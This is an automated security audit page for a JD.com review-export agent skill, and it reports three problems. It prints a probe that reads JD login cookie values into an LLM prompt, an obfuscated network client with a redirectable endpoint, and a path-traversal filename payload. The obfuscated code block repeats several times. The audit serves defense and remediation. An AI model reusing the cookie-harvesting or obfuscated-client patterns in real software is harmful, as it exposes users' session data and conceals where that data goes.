Back to skill

Security audit

京东商品评价导出 · 一键采集为本地 Markdown 表格

Security checks for vulnerabilities and agentic risk

Overview

This JD review exporter largely matches its purpose, but it unnecessarily handles logged-in browser identifiers through an obfuscated LLM helper and has unsafe output-file path handling.

Review before installing. Use only if you trust the local Chrome Relay and LLM pipeline, avoid running it with sensitive JD account context until cookie values and page text are minimized or redacted, and keep output filenames simple basenames rather than paths. The obfuscated LLM helper should be replaced with readable code and a fixed or allowlisted local endpoint before broad use.

Vulnerability Patterns
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
skill.mjs:79
Finding
Unnecessary disclosure of JD cookie data and page content to a configurable LLM endpoint<![CDATA[ ## Vulnerability Details **File Location**: `skill.mjs:79-89`, `skill.mjs:244-251`, `skill.mjs:293-310`; network sink in `wc3-code.mjs:2` **Vulnerability Type**: Sensitive information exposure over the network **Risk Level**: High ### Vulnerable Code The browser probe reads the complete matching cookie assignment, including its value, along with page metadata and body content: ```js const PROBE_JS = `JSON.stringify({ url: location.href, title: document.title, pin: (document.cookie.match(/(?:^|;\\s*)(pin|unick|pt_pin)=([^;]*)/) || [])[0] || null, hasCommentRoot: !!document.querySelector("#comment-root"), hasAllBtn: !!document.querySelector("#comment-root .all-btn"), bodyLen: document.body.innerText.length, head: document.body.innerText.slice(0, 300) })`; ``` The complete probe is placed into an LLM prompt: ```js const prompt = `你是网页状态判别助手。下面是一个京东商品页的探针结果(JSON),请判断当前页面处于哪种状态,并给出一句给最终用户看的中文提示。 探针结果: \`\`\`json ${JSON.stringify(probe, null, 2)} \`\`\` ${anomaly ? '采集过程中的异常:' + anomaly : ''} ``` That prompt is passed to the bundled network client: ```js const raw = await callClaude(prompt, outFile, { timeout: 180 }); ``` ```js function callClaude(prompt, outputFile, opts = {}) { return new Promise((resolve, reject) => { const args = ['--prompt', prompt, '--output', outputFile]; if (opts.timeout) args.push('--timeout', String(opts.timeout)); if (opts.schema) args.push('--schema', opts.schema); if (opts.resume) args.push('--resume', opts.resume); const child = spawn('node', [WC3_CODE, ...args], { stdio: ['ignore', 'ignore', 'pipe'] }); let stderr = ''; child.stderr.on('data', (d) => { stderr += d; }); child.on('close', (code) => { if (code !== 0) return reject(new Error(`wc3-code exit ${code}: ${stderr.slice(0, 500)}`)); try { resolve(JSON.parse(readFileSync(outputFile, 'utf-8'))); } catch { resolve(readFileSync(outputFile, 'utf-8')); } }); chi ...[truncated 3149 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove cookie-value collection entirely. Replace it with a boolean computed inside the page: ```js hasLoginCookie: /(?:^|;\s*)(?:pin|unick|pt_pin)=/.test(document.cookie) ``` 2. Do not include `document.body.innerText` in the probe. Use narrow, non-sensitive status fields such as: - Current hostname and pathname, excluding query parameters. - Presence of known login, error, and review-container elements. - HTTP or page-state classifications computed locally. 3. Pass a separately constructed, allowlisted classification object to the LLM rather than serializing the original probe. 4. Keep page-state classification local where possible. Known URL and DOM patterns are sufficient for the documented states. 5. If an LLM is strictly required, require explicit user consent and document exactly which fields are transferred and where. 6. Restrict the endpoint: - Remove arbitrary environment-based redirection, or - Parse the destination with `new URL()`. - Reject credentials, non-HTTP(S) schemes, and destinations outside an explicit allowlist. - If the service is intended to be local, accept only loopback addresses such as `127.0.0.1` or `::1`. 7. Add automated tests asserting that prompts never contain cookie values, raw cookies, arbitrary body text, or URL query parameters. 8. Clear temporary prompt and response files after classification and create them with restrictive permissions. ]]>

T04 · Embedded Malicious Code

Error
Location
wc3-code.mjs:2
Finding
Obfuscated bundled network client conceals the destination and handling of browser-derived data<![CDATA[ ## Vulnerability Details **File Location**: `wc3-code.mjs:2` **Vulnerability Type**: Obfuscated embedded code handling sensitive network traffic **Risk Level**: High ### Vulnerable Code The complete implementation is compressed onto one line and uses a rotated lookup table and custom decoder to conceal strings: ```js const _0x58ce15=_0x4d13; (function(_0x5787d1,_0x53c4a9){ const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1(); while(!![]){ try{ const _0x5d05cd= parseInt(_0x19d87a(0x1c0))/0x1* (parseInt(_0x19d87a(0x1c2))/0x2)+ -parseInt(_0x19d87a(0x1d3))/0x3+ parseInt(_0x19d87a(0x1cd))/0x4+ -parseInt(_0x19d87a(0x1e3))/0x5+ -parseInt(_0x19d87a(0x1ca))/0x6+ parseInt(_0x19d87a(0x1e2))/0x7* (-parseInt(_0x19d87a(0x1c1))/0x8)+ -parseInt(_0x19d87a(0x1d0))/0x9* (-parseInt(_0x19d87a(0x1e1))/0xa); if(_0x5d05cd===_0x53c4a9)break; else _0xcf5d78['push'](_0xcf5d78['shift']()); }catch(_0x575c82){ _0xcf5d78['push'](_0xcf5d78['shift']()); } } }(_0x1f75,0x2b8ac)); ``` ```js var DEFAULT_TIMEOUT=0x258, LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8); ``` The decoder conceals strings used by the program: ```js var _0x22ae6c=function(_0x46ec11){ const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let _0x2ac657='',_0x55a8b4=''; for( let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0; _0x33b6a6=_0x46ec11['charAt'](_0x311bc0++); ~_0x33b6a6&& (_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6, _0x3596d8++%0x4) ?_0x2ac657+=String['fromCharCode']( 0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6) ) :0x0 ){ _0x33b6a6=_0x102d98['indexOf'](_0x33b6a6); } for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length']; _0x36c786<_0x3f3f96; _0x36c786++){ _0x55a8b4+='%'+ ('00'+_0x2ac657['charCodeAt'](_0x36c786) ['toString'](0x10))['slice'](-0x ...[truncated 2577 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Replace `wc3-code.mjs` with readable, non-obfuscated source code. 2. Declare the exact default endpoint as a clear constant and document: - The endpoint owner. - Whether it is local or remote. - The request schema. - The response schema. - Retention and privacy behavior. 3. Enforce a strict destination policy. If the documented pipeline is local, reject any destination that is not an exact approved loopback URL. 4. Remove `WC3_LLM_ENDPOINT` unless endpoint replacement is an explicit, necessary feature. If it must remain, require an allowlist configured through trusted installation policy rather than an unrestricted environment variable. 5. Ensure the client receives only a minimized, pre-redacted classification payload. It should never receive cookie values, raw page content, or unrelated browser data. 6. Add source maps, reproducible builds, and integrity checks if minification is required for distribution. The reviewed source must remain available and correspond exactly to the shipped artifact. 7. Add security tests that intercept all outbound requests and verify both the destination and the complete request body. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
skill.mjs:355
Finding
User-controlled output filenames allow writes outside the selected output directory<![CDATA[ ## Vulnerability Details **File Location**: `skill.mjs:355-361`, `skill.mjs:379-398` **Vulnerability Type**: Path traversal and arbitrary file overwrite **Risk Level**: Medium ### Vulnerable Code The output directory and filenames are accepted from input without filename restrictions: ```js const outputDir = input.output_dir || input.outputDir || '/tmp/jd-review-export-output'; const outputFiles = input.output_files || {}; const resultFile = join(outputDir, outputFiles.result || 'res.json'); const dataFile = join(outputDir, outputFiles.data || 'data.md'); const reviewsFile = join(outputDir, 'reviews.md'); mkdirSync(outputDir, { recursive: true }); mkdirSync(TMP, { recursive: true }); ``` The resulting paths are written directly: ```js function writeOutputs(status, summary, markdown, extra = {}) { const result = { status, task: '导出京东商品评价为本地 Markdown 表格', product_url: productUrl, sku: sku || null, requested: count, total: extra.total != null ? extra.total : 0, stop_reason: extra.stopReason || null, data_file: 'reviews.md', summary, ...(extra.error ? { error: extra.error } : {}), ...(extra.hint ? { hint: extra.hint } : {}), ...(extra.skipped ? { skipped_incomplete: extra.skipped } : {}), timestamp: new Date().toISOString(), }; writeFileSync(resultFile, JSON.stringify(result, null, 2)); writeFileSync(dataFile, markdown); writeFileSync(reviewsFile, markdown); console.log(JSON.stringify({ status, summary, output_dir: outputDir })); } ``` ### Technical Analysis `output_files.result` and `output_files.data` are user-controlled strings. `join()` normalizes path segments but does not enforce containment within `outputDir`. A value containing `..` can therefore resolve outside the selected directory. For example: ```json { "output_dir": "/tmp/jd-output", "output_files": { "data": "../../home/user/target.md", "result": "../target.json" } } ``` The implementation does not: - ...[truncated 1851 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Restrict configurable output filenames to basenames: ```js import { basename, resolve, sep } from 'node:path'; function validateOutputName(value, fallback) { const name = String(value || fallback); if ( name !== basename(name) || name.includes('/') || name.includes('\\') || name === '.' || name === '..' ) { throw new Error('Invalid output filename'); } return name; } ``` 2. Resolve and verify containment before every write: ```js const baseDir = resolve(outputDir); function safeOutputPath(name) { const target = resolve(baseDir, validateOutputName(name, 'output.txt')); if (!target.startsWith(baseDir + sep)) { throw new Error('Output path escapes output directory'); } return target; } ``` 3. Apply validation to both `output_files.data` and `output_files.result`. 4. If nested output paths are not a documented requirement, reject all directory separators rather than attempting to sanitize them. 5. Consider using `writeFileSync(path, data, { flag: 'wx', mode: 0o600 })` when overwriting existing files is not required. 6. Defend against symlink attacks: - Use a newly created private output directory. - Check path components with `lstat`. - Avoid following pre-existing symlinks. - Prefer descriptor-based safe-write patterns where supported. 7. Add tests for absolute paths, `../` traversal, backslash traversal, mixed separators, symbolic links, and filenames that normalize outside the output directory. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (23)

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let 